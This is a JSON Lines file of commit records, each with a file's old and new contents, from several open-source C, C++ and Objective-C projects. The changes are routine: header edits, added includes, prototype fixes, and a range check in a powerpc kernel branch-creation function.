{"commit":"bd0737eb713fae5ca536488b0b6c327f71cf6cf0","old_file":"You-DataStore\/datastore.h","new_file":"You-DataStore\/datastore.h","old_contents":"#pragma once\n#ifndef YOU_DATASTORE_DATASTORE_H_\n#define YOU_DATASTORE_DATASTORE_H_\n\n#include <memory>\n#include \"task_typedefs.h\"\n#include \"transaction.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace UnitTests {}\n\nclass DataStore {\npublic:\n\tTransaction && begin();\n\n\tstatic DataStore& get();\n\n\t\/\/ Modifying methods\n\tvoid post(TaskId, SerializedTask&);\n\tvoid put(TaskId, SerializedTask&);\n\tvoid erase(TaskId);\n\n\tstd::vector<SerializedTask> getAllTask();\n\n\tvoid notify();\n\nprivate:\n\tbool isServing = false;\n\tstd::unique_ptr<Transaction> activeTransaction;\n};\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n#endif  \/\/ YOU_DATASTORE_DATASTORE_H_\n","new_contents":"#pragma once\n#ifndef YOU_DATASTORE_DATASTORE_H_\n#define YOU_DATASTORE_DATASTORE_H_\n\n#include <stack>\n#include <memory>\n#include \"task_typedefs.h\"\n#include \"transaction.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace UnitTests {}\n\nclass DataStore {\npublic:\n\tTransaction && begin();\n\n\tstatic DataStore& get();\n\n\t\/\/ Modifying methods\n\tvoid post(TaskId, SerializedTask&);\n\tvoid put(TaskId, SerializedTask&);\n\tvoid erase(TaskId);\n\n\tstd::vector<SerializedTask> getAllTask();\n\n\tvoid notify();\n\nprivate:\n\tbool isServing = false;\n\tstd::shared_ptr<Transaction> activeTransaction;\n\tstd::stack<std::shared_ptr<Transaction> > transactionStack;\n};\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n#endif  \/\/ YOU_DATASTORE_DATASTORE_H_\n","subject":"Add member variable: transaction stack","message":"Add member variable: transaction stack\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"54fb750d8389febff3fa254c4dd5d815b7a60f69","old_file":"Nimble\/Nimble.h","new_file":"Nimble\/Nimble.h","old_contents":"#import <Foundation\/Foundation.h>\n\nFOUNDATION_EXPORT double NimbleVersionNumber;\nFOUNDATION_EXPORT const unsigned char NimbleVersionString[];\n","new_contents":"#import <Foundation\/Foundation.h>\n\nFOUNDATION_EXPORT double NimbleVersionNumber;\nFOUNDATION_EXPORT const unsigned char NimbleVersionString[];\n\n#import \"DSL.h\"\n#import \"NMBExceptionCapture.h\"\n","subject":"Add Objective-C headers to umbrella header to make project compile","message":"Add Objective-C headers to umbrella header to make project compile\n","lang":"C","license":"apache-2.0","repos":"DanielAsher\/Nimble,AnthonyMDev\/Nimble,abbeycode\/Nimble,AnthonyMDev\/Nimble,twobitlabs\/Nimble,twobitlabs\/Nimble,abbeycode\/Nimble,feinstruktur\/Nimble,phatblat\/Nimble,AnthonyMDev\/Nimble,Quick\/Nimble,ashfurrow\/Nimble,DanielAsher\/Nimble,feinstruktur\/Nimble,DanielAsher\/Nimble,ashfurrow\/Nimble,jeffh\/Nimble,abbeycode\/Nimble,mishimay\/Nimble,dgdosen\/Nimble,phatblat\/Nimble,feinstruktur\/Nimble,phatblat\/Nimble,dgdosen\/Nimble,Quick\/Nimble,abbeycode\/Nimble,jeffh\/Nimble,mishimay\/Nimble,dgdosen\/Nimble,mishimay\/Nimble,twobitlabs\/Nimble,ashfurrow\/Nimble,jeffh\/Nimble,dgdosen\/Nimble,Quick\/Nimble,jeffh\/Nimble"}
{"commit":"19b1e3ebe513855cae870da9a2133f99e1bb14b8","old_file":"src\/includepriv\/xmmspriv\/xmms_collsync.h","new_file":"src\/includepriv\/xmmspriv\/xmms_collsync.h","old_contents":"\/*  XMMS2 - X Music Multiplexer System\n *  Copyright (C) 2003-2009 XMMS2 Team\n *\n *  PLUGINS ARE NOT CONSIDERED TO BE DERIVED WORK !!!\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License as published by the Free Software Foundation; either\n *  version 2.1 of the License, or (at your option) any later version.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\/\n\n#ifndef __XMMS_COLLSYNC_H__\n#define __XMMS_COLLSYNC_H__\n\n#include \"xmmspriv\/xmms_collection.h\"\n\nvoid xmms_coll_sync_init (xmms_coll_dag_t *dag);\nvoid xmms_coll_sync_shutdown ();\nvoid xmms_coll_sync_schedule_sync ();\n\n#endif\n","new_contents":"\/*  XMMS2 - X Music Multiplexer System\n *  Copyright (C) 2003-2009 XMMS2 Team\n *\n *  PLUGINS ARE NOT CONSIDERED TO BE DERIVED WORK !!!\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License as published by the Free Software Foundation; either\n *  version 2.1 of the License, or (at your option) any later version.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\/\n\n#ifndef __XMMS_COLLSYNC_H__\n#define __XMMS_COLLSYNC_H__\n\n#include \"xmmspriv\/xmms_collection.h\"\n\nvoid xmms_coll_sync_init (xmms_coll_dag_t *dag);\nvoid xmms_coll_sync_shutdown (void);\nvoid xmms_coll_sync_schedule_sync (void);\n\n#endif\n","subject":"Make function declarations proper prototypes in collsync.h","message":"OTHER: Make function declarations proper prototypes in collsync.h\n","lang":"C","license":"lgpl-2.1","repos":"theefer\/xmms2,six600110\/xmms2,six600110\/xmms2,mantaraya36\/xmms2-mantaraya36,mantaraya36\/xmms2-mantaraya36,chrippa\/xmms2,dreamerc\/xmms2,six600110\/xmms2,dreamerc\/xmms2,theefer\/xmms2,chrippa\/xmms2,krad-radio\/xmms2-krad,xmms2\/xmms2-stable,krad-radio\/xmms2-krad,dreamerc\/xmms2,six600110\/xmms2,xmms2\/xmms2-stable,dreamerc\/xmms2,oneman\/xmms2-oneman,oneman\/xmms2-oneman,krad-radio\/xmms2-krad,theefer\/xmms2,xmms2\/xmms2-stable,theefer\/xmms2,oneman\/xmms2-oneman-old,theeternalsw0rd\/xmms2,krad-radio\/xmms2-krad,mantaraya36\/xmms2-mantaraya36,xmms2\/xmms2-stable,oneman\/xmms2-oneman,oneman\/xmms2-oneman,theeternalsw0rd\/xmms2,dreamerc\/xmms2,mantaraya36\/xmms2-mantaraya36,krad-radio\/xmms2-krad,theefer\/xmms2,oneman\/xmms2-oneman,theeternalsw0rd\/xmms2,theefer\/xmms2,chrippa\/xmms2,chrippa\/xmms2,xmms2\/xmms2-stable,theeternalsw0rd\/xmms2,oneman\/xmms2-oneman-old,mantaraya36\/xmms2-mantaraya36,oneman\/xmms2-oneman,six600110\/xmms2,theeternalsw0rd\/xmms2,oneman\/xmms2-oneman-old,six600110\/xmms2,oneman\/xmms2-oneman-old,chrippa\/xmms2,oneman\/xmms2-oneman-old,mantaraya36\/xmms2-mantaraya36,mantaraya36\/xmms2-mantaraya36,chrippa\/xmms2,xmms2\/xmms2-stable,krad-radio\/xmms2-krad,theefer\/xmms2,oneman\/xmms2-oneman,theeternalsw0rd\/xmms2"}
{"commit":"a615df7468af8315894a91bd5758699abbfcc97c","old_file":"src\/Mapper1.h","new_file":"src\/Mapper1.h","old_contents":"#ifndef MAPPER_1_H\n#define MAPPER_1_H\n\n#include <Mapper.h>\n\nenum PrgMode {\n    PRG_32KB,\n    FIX_FIRST_16KB,\n    FIX_LAST_16KB,\n};\n\nenum ChrMode {\n    CHR_8KB,\n    CHR_4KB,\n};\n\nclass Mapper1: public Mapper {\npublic:\n    uint8_t readPrg(uint16_t addr);\n    void writePrg(uint16_t addr, uint8_t value);\n    uint8_t readChr(uint16_t addr);\n    void writeChr(uint16_t addr, uint8_t value);\n\nprivate:\n    void loadRegister(uint16_t addr, uint8_t value);\n    void updateBankAddresses();\n    int decodePrgRomAddress(uint16_t addr);\n    int decodeChrRomAddress(uint16_t addr);\n\n    int shiftRegister = 0x10;\n\n    int prgRomBank = 0;\n    bool prgRamDisable = false;\n    int chrRomBank0 = 0;\n    int chrRomBank1 = 0;\n\n    PrgMode prgMode = PrgMode::PRG_32KB;\n    ChrMode chrMode = ChrMode::CHR_8KB;\n\n    int prg16kBankAddresses[2];\n    int chr4kBankAddresses[2];\n};\n\n#endif\n","new_contents":"#ifndef MAPPER_1_H\n#define MAPPER_1_H\n\n#include <Mapper.h>\n\nenum PrgMode {\n    PRG_32KB,\n    FIX_FIRST_16KB,\n    FIX_LAST_16KB,\n};\n\nenum ChrMode {\n    CHR_8KB,\n    CHR_4KB,\n};\n\nclass Mapper1: public Mapper {\npublic:\n    uint8_t readPrg(uint16_t addr);\n    void writePrg(uint16_t addr, uint8_t value);\n    uint8_t readChr(uint16_t addr);\n    void writeChr(uint16_t addr, uint8_t value);\n\nprivate:\n    void loadRegister(uint16_t addr, uint8_t value);\n    void updateBankAddresses();\n    int decodePrgRomAddress(uint16_t addr);\n    int decodeChrRomAddress(uint16_t addr);\n\n    int shiftRegister = 0x10;\n\n    int prgRomBank = 0;\n    bool prgRamDisable = false;\n    int chrRomBank0 = 0;\n    int chrRomBank1 = 0;\n\n    PrgMode prgMode = PrgMode::FIX_LAST_16KB;\n    ChrMode chrMode = ChrMode::CHR_8KB;\n\n    int prg16kBankAddresses[2];\n    int chr4kBankAddresses[2];\n};\n\n#endif\n","subject":"Update mapper 1 default mapping on boot","message":"Update mapper 1 default mapping on boot\n","lang":"C","license":"mit","repos":"scottjcrouch\/ScootNES,scottjcrouch\/ScootNES,scottjcrouch\/ScootNES"}
{"commit":"63b675bb73dc94a45c6049795cebd34ae0c66185","old_file":"ash\/shell\/example_factory.h","new_file":"ash\/shell\/example_factory.h","old_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ASH_SHELL_EXAMPLE_FACTORY_H_\n#define ASH_SHELL_EXAMPLE_FACTORY_H_\n#pragma once\n\nnamespace app_list {\nclass AppListModel;\nclass AppListViewDelegate;\n}\n\nnamespace views {\nclass View;\n}\n\nnamespace ash {\nnamespace shell {\n\nvoid CreatePointyBubble(views::View* anchor_view);\n\nvoid CreateLockScreen();\n\n\/\/ Creates a window showing samples of commonly used widgets.\nvoid CreateWidgetsWindow();\n\nvoid BuildAppListModel(app_list::AppListModel* model);\n\napp_list::AppListViewDelegate* CreateAppListViewDelegate();\n\n}  \/\/ namespace shell\n}  \/\/ namespace ash\n\n#endif  \/\/ ASH_SHELL_EXAMPLE_FACTORY_H_\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ASH_SHELL_EXAMPLE_FACTORY_H_\n#define ASH_SHELL_EXAMPLE_FACTORY_H_\n#pragma once\n\nnamespace app_list {\nclass AppListViewDelegate;\n}\n\nnamespace views {\nclass View;\n}\n\nnamespace ash {\nnamespace shell {\n\nvoid CreatePointyBubble(views::View* anchor_view);\n\nvoid CreateLockScreen();\n\n\/\/ Creates a window showing samples of commonly used widgets.\nvoid CreateWidgetsWindow();\n\napp_list::AppListViewDelegate* CreateAppListViewDelegate();\n\n}  \/\/ namespace shell\n}  \/\/ namespace ash\n\n#endif  \/\/ ASH_SHELL_EXAMPLE_FACTORY_H_\n","subject":"Remove unused declaration of BuildAppListModel() function.","message":"ash: Remove unused declaration of BuildAppListModel() function.\n\nR=xiyuan@chromium.org\nTBR=ben@chromium.org\n\nReview URL: https:\/\/chromiumcodereview.appspot.com\/10377097\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@136437 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"Jonekee\/chromium.src,chuan9\/chromium-crosswalk,ondra-novak\/chromium.src,mogoweb\/chromium-crosswalk,ChromiumWebApps\/chromium,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,dushu1203\/chromium.src,M4sse\/chromium.src,junmin-zhu\/chromium-rivertrail,dednal\/chromium.src,anirudhSK\/chromium,Jonekee\/chromium.src,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,robclark\/chromium,nacl-webkit\/chrome_deps,hujiajie\/pa-chromium,mogoweb\/chromium-crosswalk,littlstar\/chromium.src,dushu1203\/chromium.src,axinging\/chromium-crosswalk,anirudhSK\/chromium,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,ondra-novak\/chromium.src,pozdnyakov\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Jonekee\/chromium.src,dushu1203\/chromium.src,timopulkkinen\/BubbleFish,bright-sparks\/chromium-spacewalk,timopulkkinen\/BubbleFish,keishi\/chromium,keishi\/chromium,anirudhSK\/chromium,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,mohamed--abdel-maksoud\/chromium.src,Pluto-tv\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk-efl,nacl-webkit\/chrome_deps,nacl-webkit\/chrome_deps,anirudhSK\/chromium,littlstar\/chromium.src,markYoungH\/chromium.src,PeterWangIntel\/chromium-crosswalk,patrickm\/chromium.src,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,patrickm\/chromium.src,Chilledheart\/chromium,timopulkkinen\/BubbleFish,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,timopulkkinen\/BubbleFish,junmin-zhu\/chromium-rivertrail,ondra-novak\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,robclark\/chromium,hujiajie\/pa-chromium,Fireblend\/chromium-crosswalk,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk-efl,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,keishi\/chromium,zcbenz\/cefode-chromium,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,hujiajie\/pa-chromium,mohamed--abdel-maksoud\/chromium.src,Pluto-tv\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,pozdnyakov\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,ltilve\/chromium,TheTypoMaster\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,robclark\/chromium,hujiajie\/pa-chromium,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,dednal\/chromium.src,markYoungH\/chromium.src,ChromiumWebApps\/chromium,keishi\/chromium,dushu1203\/chromium.src,PeterWangIntel\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,timopulkkinen\/BubbleFish,markYoungH\/chromium.src,ChromiumWebApps\/chromium,Pluto-tv\/chromium-crosswalk,robclark\/chromium,ChromiumWebApps\/chromium,axinging\/chromium-crosswalk,Just-D\/chromium-1,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Fireblend\/chromium-crosswalk,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,hgl888\/chromium-crosswalk,ltilve\/chromium,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,junmin-zhu\/chromium-rivertrail,Just-D\/chromium-1,PeterWangIntel\/chromium-crosswalk,keishi\/chromium,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk-efl,anirudhSK\/chromium,ChromiumWebApps\/chromium,Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,nacl-webkit\/chrome_deps,chuan9\/chromium-crosswalk,dednal\/chromium.src,Pluto-tv\/chromium-crosswalk,robclark\/chromium,M4sse\/chromium.src,dednal\/chromium.src,littlstar\/chromium.src,littlstar\/chromium.src,hgl888\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,bright-sparks\/chromium-spacewalk,markYoungH\/chromium.src,Jonekee\/chromium.src,markYoungH\/chromium.src,keishi\/chromium,Pluto-tv\/chromium-crosswalk,nacl-webkit\/chrome_deps,Just-D\/chromium-1,littlstar\/chromium.src,bright-sparks\/chromium-spacewalk,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,Fireblend\/chromium-crosswalk,ChromiumWebApps\/chromium,dednal\/chromium.src,anirudhSK\/chromium,M4sse\/chromium.src,keishi\/chromium,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,krieger-od\/nwjs_chromium.src,zcbenz\/cefode-chromium,dushu1203\/chromium.src,Chilledheart\/chromium,zcbenz\/cefode-chromium,robclark\/chromium,hujiajie\/pa-chromium,M4sse\/chromium.src,dushu1203\/chromium.src,robclark\/chromium,M4sse\/chromium.src,nacl-webkit\/chrome_deps,crosswalk-project\/chromium-crosswalk-efl,dednal\/chromium.src,axinging\/chromium-crosswalk,keishi\/chromium,littlstar\/chromium.src,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,robclark\/chromium,jaruba\/chromium.src,M4sse\/chromium.src,junmin-zhu\/chromium-rivertrail,dednal\/chromium.src,dushu1203\/chromium.src,mogoweb\/chromium-crosswalk,ChromiumWebApps\/chromium,jaruba\/chromium.src,TheTypoMaster\/chromium-crosswalk,Fireblend\/chromium-crosswalk,jaruba\/chromium.src,timopulkkinen\/BubbleFish,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,ltilve\/chromium,littlstar\/chromium.src,zcbenz\/cefode-chromium,M4sse\/chromium.src,nacl-webkit\/chrome_deps,nacl-webkit\/chrome_deps,chuan9\/chromium-crosswalk,timopulkkinen\/BubbleFish,krieger-od\/nwjs_chromium.src,markYoungH\/chromium.src,anirudhSK\/chromium,chuan9\/chromium-crosswalk,ondra-novak\/chromium.src,Chilledheart\/chromium,chuan9\/chromium-crosswalk,mogoweb\/chromium-crosswalk,chuan9\/chromium-crosswalk,Jonekee\/chromium.src,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,pozdnyakov\/chromium-crosswalk,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,Jonekee\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,junmin-zhu\/chromium-rivertrail,mogoweb\/chromium-crosswalk,ondra-novak\/chromium.src,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,bright-sparks\/chromium-spacewalk,M4sse\/chromium.src,zcbenz\/cefode-chromium,bright-sparks\/chromium-spacewalk,Just-D\/chromium-1,crosswalk-project\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,hujiajie\/pa-chromium,krieger-od\/nwjs_chromium.src,robclark\/chromium,PeterWangIntel\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,Fireblend\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,ondra-novak\/chromium.src,Pluto-tv\/chromium-crosswalk,patrickm\/chromium.src,mohamed--abdel-maksoud\/chromium.src,hujiajie\/pa-chromium,Pluto-tv\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Jonekee\/chromium.src,fujunwei\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,Jonekee\/chromium.src,littlstar\/chromium.src,ltilve\/chromium,hujiajie\/pa-chromium,ltilve\/chromium,fujunwei\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,patrickm\/chromium.src,keishi\/chromium,dednal\/chromium.src,Chilledheart\/chromium,keishi\/chromium,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Just-D\/chromium-1,ltilve\/chromium,timopulkkinen\/BubbleFish,Chilledheart\/chromium,Fireblend\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,axinging\/chromium-crosswalk,anirudhSK\/chromium,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,patrickm\/chromium.src,anirudhSK\/chromium,keishi\/chromium,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,Chilledheart\/chromium,bright-sparks\/chromium-spacewalk,robclark\/chromium,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,TheTypoMaster\/chromium-crosswalk,nacl-webkit\/chrome_deps,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,PeterWangIntel\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,zcbenz\/cefode-chromium,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,Chilledheart\/chromium,jaruba\/chromium.src,PeterWangIntel\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,dednal\/chromium.src,Just-D\/chromium-1,fujunwei\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,M4sse\/chromium.src,Jonekee\/chromium.src,Chilledheart\/chromium,hgl888\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,hujiajie\/pa-chromium,ChromiumWebApps\/chromium,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,ltilve\/chromium,jaruba\/chromium.src,ondra-novak\/chromium.src,patrickm\/chromium.src,patrickm\/chromium.src,patrickm\/chromium.src,patrickm\/chromium.src,dushu1203\/chromium.src,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,bright-sparks\/chromium-spacewalk,timopulkkinen\/BubbleFish,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,ltilve\/chromium,Fireblend\/chromium-crosswalk,jaruba\/chromium.src,hgl888\/chromium-crosswalk,anirudhSK\/chromium,mogoweb\/chromium-crosswalk"}
{"commit":"053a858efa46c9ab86363b271374ec02ad2af753","old_file":"arch\/powerpc\/lib\/code-patching.c","new_file":"arch\/powerpc\/lib\/code-patching.c","old_contents":"\/*\n *  Copyright 2008 Michael Ellerman, IBM Corporation.\n *\n *  This program is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU General Public License\n *  as published by the Free Software Foundation; either version\n *  2 of the License, or (at your option) any later version.\n *\/\n\n#include <linux\/kernel.h>\n#include <asm\/code-patching.h>\n\n\nvoid patch_instruction(unsigned int *addr, unsigned int instr)\n{\n\t*addr = instr;\n\tasm (\"dcbst 0, %0; sync; icbi 0,%0; sync; isync\" : : \"r\" (addr));\n}\n\nvoid patch_branch(unsigned int *addr, unsigned long target, int flags)\n{\n\tpatch_instruction(addr, create_branch(addr, target, flags));\n}\n\nunsigned int create_branch(const unsigned int *addr,\n\t\t\t   unsigned long target, int flags)\n{\n\tunsigned int instruction;\n\n\tif (! (flags & BRANCH_ABSOLUTE))\n\t\ttarget = target - (unsigned long)addr;\n\n\t\/* Mask out the flags and target, so they don't step on each other. *\/\n\tinstruction = 0x48000000 | (flags & 0x3) | (target & 0x03FFFFFC);\n\n\treturn instruction;\n}\n","new_contents":"\/*\n *  Copyright 2008 Michael Ellerman, IBM Corporation.\n *\n *  This program is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU General Public License\n *  as published by the Free Software Foundation; either version\n *  2 of the License, or (at your option) any later version.\n *\/\n\n#include <linux\/kernel.h>\n#include <asm\/code-patching.h>\n\n\nvoid patch_instruction(unsigned int *addr, unsigned int instr)\n{\n\t*addr = instr;\n\tasm (\"dcbst 0, %0; sync; icbi 0,%0; sync; isync\" : : \"r\" (addr));\n}\n\nvoid patch_branch(unsigned int *addr, unsigned long target, int flags)\n{\n\tpatch_instruction(addr, create_branch(addr, target, flags));\n}\n\nunsigned int create_branch(const unsigned int *addr,\n\t\t\t   unsigned long target, int flags)\n{\n\tunsigned int instruction;\n\tlong offset;\n\n\toffset = target;\n\tif (! (flags & BRANCH_ABSOLUTE))\n\t\toffset = offset - (unsigned long)addr;\n\n\t\/* Check we can represent the target in the instruction format *\/\n\tif (offset < -0x2000000 || offset > 0x1fffffc || offset & 0x3)\n\t\treturn 0;\n\n\t\/* Mask out the flags and target, so they don't step on each other. *\/\n\tinstruction = 0x48000000 | (flags & 0x3) | (offset & 0x03FFFFFC);\n\n\treturn instruction;\n}\n","subject":"Make create_branch() return errors if the branch target is too large","message":"powerpc: Make create_branch() return errors if the branch target is too large\n\nIf you pass a target value to create_branch() which is more than 32MB - 4,\nor - 32MB away from the branch site, then it's impossible to create an\nimmediate branch.  The current code doesn't check, which will lead to us\ncreating a branch to somewhere else - which is bad.\n\nFor code that cares to check we return 0, which is easy to check for, and\nfor code that doesn't at least we'll be creating an illegal instruction,\nrather than a branch to some random address.\n\nSigned-off-by: Michael Ellerman <17b9e1c64588c7fa6419b4d29dc1f4426279ba01@ellerman.id.au>\nAcked-by: Kumar Gala <383ef5577c6e1178b93f59ec8d0936f76d2a98c4@kernel.crashing.org>\nSigned-off-by: Paul Mackerras <19a0ba370c443ba08d20b5061586430ab449ee8c@samba.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"0a203a4ce1787acb49db6df8f5c064e9243db130","old_file":"arch\/x86_64\/kernel\/bugs.c","new_file":"arch\/x86_64\/kernel\/bugs.c","old_contents":"\/*\n *  arch\/x86_64\/kernel\/bugs.c\n *\n *  Copyright (C) 1994  Linus Torvalds\n *  Copyright (C) 2000  SuSE\n *\/\n\n#include <linux\/kernel.h>\n#include <linux\/init.h>\n#include <asm\/alternative.h>\n#include <asm\/processor.h>\n\nvoid __init check_bugs(void)\n{\n\tidentify_cpu(&boot_cpu_data);\n\tmtrr_bp_init();\n#if !defined(CONFIG_SMP)\n\tprintk(\"CPU: \");\n\tprint_cpu_info(&boot_cpu_data);\n#endif\n\talternative_instructions();\n}\n","new_contents":"\/*\n *  arch\/x86_64\/kernel\/bugs.c\n *\n *  Copyright (C) 1994  Linus Torvalds\n *  Copyright (C) 2000  SuSE\n *\/\n\n#include <linux\/kernel.h>\n#include <linux\/init.h>\n#include <asm\/alternative.h>\n#include <asm\/processor.h>\n#include <asm\/mtrr.h>\n\nvoid __init check_bugs(void)\n{\n\tidentify_cpu(&boot_cpu_data);\n\tmtrr_bp_init();\n#if !defined(CONFIG_SMP)\n\tprintk(\"CPU: \");\n\tprint_cpu_info(&boot_cpu_data);\n#endif\n\talternative_instructions();\n}\n","subject":"Add asm\/mtrr.h include for some builds","message":"x86_64: Add asm\/mtrr.h include for some builds\n\nThe earlier change to call the bp mtrr init from bugs.c broke\non some configurations due to missing includes.  Noticed\nby \"Avuton Olrich\" <avuton@gmail.com>\n\nSigned-off-by: Andi Kleen <0474aee45985f5ae829f53849df476200e876990@suse.de>\nSigned-off-by: Linus Torvalds <69652caca27c8b940640ad396ab71f93cacec34f@linux-foundation.org>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
